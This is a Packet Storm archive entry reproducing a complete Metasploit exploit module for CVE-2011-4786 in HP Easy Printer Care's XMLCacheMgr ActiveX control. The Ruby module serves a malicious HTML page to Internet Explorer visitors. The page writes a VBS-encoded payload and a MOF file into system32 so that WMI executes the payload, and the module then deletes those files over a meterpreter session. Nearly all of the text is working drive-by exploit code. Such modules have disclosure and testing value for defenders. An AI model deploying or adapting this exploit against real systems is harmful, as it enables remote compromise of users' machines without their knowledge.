HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution

2012-01-18T00:00:00
ID PACKETSTORM:108769
Type packetstorm
Reporter Andrea Micalizzi
Modified 2012-01-18T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
include Msf::Exploit::WbemExec  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HP Easy Printer Care XMLCacheMgr Class ActiveX Control Remote Code Execution',  
'Description' => %q{  
This module allows remote attackers to place arbitrary files on a users file  
system by abusing the "CacheDocumentXMLWithId" method from the "XMLCacheMgr"  
class in the HP Easy Printer HPTicketMgr.dll ActiveX Control (HPTicketMgr.dll  
2.7.2.0).  
  
Code execution can be achieved by first uploading the payload to the remote  
machine embeddeding a vbs file, and then upload another mof file, which enables  
Windows Management Instrumentation service to execute the vbs. Please note that  
this module currently only works for Windows before Vista.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Andrea Micalizzi', # aka rgod original discovery  
'juan vazquez', # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2011-4786'],  
[ 'BID', '51396'],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-013/' ],  
],  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 2048,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
#Windows before Vista  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 11 2012'))  
end  
  
#  
# The following handles deleting the copied vbs payload and mof file  
# See "struts_code_exec.rb" and "ms10_026_dbldecode.rb" for more information.  
#  
def on_new_session(client)  
  
if client.type != "meterpreter"  
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")  
print_error("The vbs payload and mof file must be removed manually.")  
return  
end  
  
return if not @var_mof_name  
return if not @var_vbs_name  
  
# stdapi must be loaded before we can use fs.file  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
  
cmd = "C:\\windows\\system32\\attrib.exe -r " +  
"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"  
  
client.sys.process.execute(cmd, nil, {'Hidden' => true })  
  
begin  
print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")  
client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")  
print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")  
client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")  
rescue ::Exception => e  
print_error("Exception: #{e.inspect}")  
end  
  
end  
  
def on_request_uri(cli, request)  
  
unless request['User-Agent'] =~ /MSIE/  
send_not_found(cli)  
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")  
return  
end  
  
# Using Windows Management Instrumentation service to execute the payload.  
# Using code from "blackice_downloadimagefileurl.rb". See it for more information.  
  
var_xmlcachemgr = rand_text_alpha(rand(5)+5)  
var_mof_function_name = rand_text_alpha(rand(5)+5)  
  
content = <<-EOS  
<html>  
<head>  
<script>  
var #{var_xmlcachemgr} = new ActiveXObject('HPESPRIT.XMLCacheMgr.1');  
  
function #{var_mof_function_name}() {  
#{var_xmlcachemgr}.CacheDocumentXMLWithId(  
"c:\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\#{@var_mof_name}.mof",  
unescape("#{@mof_content}"),  
1,  
1  
);  
}  
  
#{var_xmlcachemgr}.CacheDocumentXMLWithId(  
"C:\\\\WINDOWS\\\\system32\\\\#{@var_vbs_name}.vbs",  
unescape("#{@vbs_content}"),  
1,  
1  
);  
  
setTimeout("#{var_mof_function_name}()", 4000);  
</script>  
</head>  
</html>  
EOS  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
send_response_html(cli, content)  
handler(cli)  
end  
  
def exploit  
# In order to save binary data to the file system the payload is written to a .vbs  
# file and execute it from there.  
@var_mof_name = rand_text_alpha(rand(5)+5)  
@var_vbs_name = rand_text_alpha(rand(5)+5)  
  
print_status("Encoding payload into vbs...")  
payload = generate_payload_exe  
@vbs_content = Rex::Text.to_hex(Msf::Util::EXE.to_exe_vbs(payload))  
  
print_status("Generating mof file...")  
@mof_content = Rex::Text.to_hex(generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs"))  
super  
end  
  
end  
`